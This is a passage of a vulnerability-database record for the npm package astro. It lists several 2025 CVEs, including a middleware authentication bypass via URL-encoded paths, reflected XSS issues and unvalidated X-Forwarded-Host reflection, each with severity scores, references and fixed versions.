url https://github.com/withastro/astro/security/advisories/GHSA-xf8x-j4p2-f749
fixed_packages
0
url pkg:npm/astro@5.13.2
purl pkg:npm/astro@5.13.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-4nsb-h2qe-tug9
1
vulnerability VCID-a19r-4mhu-syhd
2
vulnerability VCID-gmum-ebwt-f3at
3
vulnerability VCID-j5k1-5dfe-8udj
4
vulnerability VCID-jcqr-tk29-xbat
5
vulnerability VCID-k4f1-y5qy-9ka4
6
vulnerability VCID-rjus-p7ga-fugs
7
vulnerability VCID-tkwe-8ejd-mfb6
8
vulnerability VCID-w3zj-e7u2-2fh1
9
vulnerability VCID-wvqv-3kwm-1uba
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/astro@5.13.2
aliases CVE-2025-55303, GHSA-xf8x-j4p2-f749
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-qcs7-nt67-7qe5
8
url VCID-rjus-p7ga-fugs
vulnerability_id VCID-rjus-p7ga-fugs
summary
Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values
A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies `decodeURI()` to determine which route to render, while the middleware uses `context.url.pathname` without applying the same normalization (decodeURI).

This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64765
reference_id
reference_type
scores
0
value 0.00041
scoring_system epss
scoring_elements 0.12702
published_at 2026-06-06T12:55:00Z
1
value 0.00041
scoring_system epss
scoring_elements 0.12698
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64765
1
reference_url https://github.com/withastro/astro
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/withastro/astro
2
reference_url https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-11-20T15:50:37Z/
url https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64765
reference_id CVE-2025-64765
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64765
4
reference_url https://github.com/advisories/GHSA-ggxq-hp9w-j794
reference_id GHSA-ggxq-hp9w-j794
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-ggxq-hp9w-j794
5
reference_url https://github.com/withastro/astro/security/advisories/GHSA-ggxq-hp9w-j794
reference_id GHSA-ggxq-hp9w-j794
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-11-20T15:50:37Z/
url https://github.com/withastro/astro/security/advisories/GHSA-ggxq-hp9w-j794
fixed_packages
0
url pkg:npm/astro@5.15.8
purl pkg:npm/astro@5.15.8
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-a19r-4mhu-syhd
1
vulnerability VCID-gmum-ebwt-f3at
2
vulnerability VCID-jcqr-tk29-xbat
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/astro@5.15.8
aliases CVE-2025-64765, GHSA-ggxq-hp9w-j794
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-rjus-p7ga-fugs
9
url VCID-tkwe-8ejd-mfb6
vulnerability_id VCID-tkwe-8ejd-mfb6
summary
Astro development server error page is vulnerable to reflected Cross-site Scripting
A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64745
reference_id
reference_type
scores
0
value 0.00033
scoring_system epss
scoring_elements 0.10044
published_at 2026-06-06T12:55:00Z
1
value 0.00033
scoring_system epss
scoring_elements 0.10028
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64745
1
reference_url https://github.com/withastro/astro
reference_id
reference_type
scores
0
value 2.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/withastro/astro
2
reference_url https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149
reference_id
reference_type
scores
0
value 2.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:19:45Z/
url https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149
3
reference_url https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91
reference_id
reference_type
scores
0
value 2.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:19:45Z/
url https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91
4
reference_url https://github.com/withastro/astro/pull/12994
reference_id
reference_type
scores
0
value 2.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:19:45Z/
url https://github.com/withastro/astro/pull/12994
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64745
reference_id CVE-2025-64745
reference_type
scores
0
value 2.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64745
6
reference_url https://github.com/advisories/GHSA-w2vj-39qv-7vh7
reference_id GHSA-w2vj-39qv-7vh7
reference_type
scores
0
value LOW
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-w2vj-39qv-7vh7
7
reference_url https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7
reference_id GHSA-w2vj-39qv-7vh7
reference_type
scores
0
value 2.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
1
value LOW
scoring_system cvssv3.1_qr
scoring_elements
2
value LOW
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:19:45Z/
url https://github.com/withastro/astro/security/advisories/GHSA-w2vj-39qv-7vh7
fixed_packages
0
url pkg:npm/astro@5.15.6
purl pkg:npm/astro@5.15.6
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-a19r-4mhu-syhd
1
vulnerability VCID-gmum-ebwt-f3at
2
vulnerability VCID-jcqr-tk29-xbat
3
vulnerability VCID-k4f1-y5qy-9ka4
4
vulnerability VCID-rjus-p7ga-fugs
5
vulnerability VCID-wvqv-3kwm-1uba
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/astro@5.15.6
1
url pkg:npm/astro@6.0.0-alpha.0
purl pkg:npm/astro@6.0.0-alpha.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-a19r-4mhu-syhd
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/astro@6.0.0-alpha.0
aliases CVE-2025-64745, GHSA-w2vj-39qv-7vh7
risk_score 1.4
exploitability 0.5
weighted_severity 2.7
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-tkwe-8ejd-mfb6
10
url VCID-w3zj-e7u2-2fh1
vulnerability_id VCID-w3zj-e7u2-2fh1
summary
Astro's `X-Forwarded-Host` is reflected without validation
When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an `X-Forwarded-Host` header that is reflected when using the recommended `Astro.url` property as there is no validation that the value is safe.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-61925
reference_id
reference_type
scores
0
value 0.00057
scoring_system epss
scoring_elements 0.18258
published_at 2026-06-06T12:55:00Z
1
value 0.00057
scoring_system epss
scoring_elements 0.18254
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-61925
1
reference_url https://github.com/Chisnet/minimal_dynamic_astro_server
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-10-10T20:00:44Z/
url https://github.com/Chisnet/minimal_dynamic_astro_server
2
reference_url https://github.com/withastro/astro
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/withastro/astro
3
reference_url https://github.com/withastro/astro/commit/6ee63bfac4856f21b4d4633021b3d2ee059e553f
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/withastro/astro/commit/6ee63bfac4856f21b4d4633021b3d2ee059e553f
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-61925
reference_id CVE-2025-61925
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-61925
5
reference_url https://github.com/advisories/GHSA-5ff5-9fcw-vg88
reference_id GHSA-5ff5-9fcw-vg88
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5ff5-9fcw-vg88
6
reference_url https://github.com/withastro/astro/security/advisories/GHSA-5ff5-9fcw-vg88
reference_id GHSA-5ff5-9fcw-vg88
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-10-10T20:00:44Z/
url https://github.com/withastro/astro/security/advisories/GHSA-5ff5-9fcw-vg88
fixed_packages
0
url pkg:npm/astro@5.14.3
purl pkg:npm/astro@5.14.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-a19r-4mhu-syhd
1
vulnerability VCID-gmum-ebwt-f3at
2
vulnerability VCID-j5k1-5dfe-8udj
3
vulnerability VCID-jcqr-tk29-xbat
4
vulnerability VCID-k4f1-y5qy-9ka4
5
vulnerability VCID-rjus-p7ga-fugs
6
vulnerability VCID-tkwe-8ejd-mfb6
7
vulnerability VCID-wvqv-3kwm-1uba
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/astro@5.14.3
aliases CVE-2025-61925, GHSA-5ff5-9fcw-vg88
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-w3zj-e7u2-2fh1
11
url VCID-wvqv-3kwm-1uba
vulnerability_id VCID-wvqv-3kwm-1uba
summary
Astro vulnerable to reflected XSS via the server islands feature
After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, **regardless of what was intended by the component template(s)**.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64764
reference_id
reference_type
scores
0
value 0.00243
scoring_system epss
scoring_elements 0.47813
published_at 2026-06-06T12:55:00Z
1
value 0.00243
scoring_system epss
scoring_elements 0.47811
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64764
1
reference_url https://github.com/withastro/astro
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/withastro/astro
2
reference_url https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-19T21:06:04Z/
url https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64764
reference_id CVE-2025-64764
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64764
4
reference_url https://github.com/advisories/GHSA-wrwg-2hg8-v723
reference_id GHSA-wrwg-2hg8-v723
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-wrwg-2hg8-v723
5
reference_url https://github.com/withastro/astro/security/advisories/GHSA-wrwg-2hg8-v723
reference_id GHSA-wrwg-2hg8-v723
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-19T21:06:04Z/
url https://github.com/withastro/astro/security/advisories/GHSA-wrwg-2hg8-v723
fixed_packages
0
url pkg:npm/astro@5.15.8
purl pkg:npm/astro@5.15.8
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-a19r-4mhu-syhd
1
vulnerability VCID-gmum-ebwt-f3at
2
vulnerability VCID-jcqr-tk29-xbat
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/astro@5.15.8
aliases CVE-2025-64764, GHSA-wrwg-2hg8-v723
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-wvqv-3kwm-1uba
Fixing_vulnerabilities
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/astro@5.7.11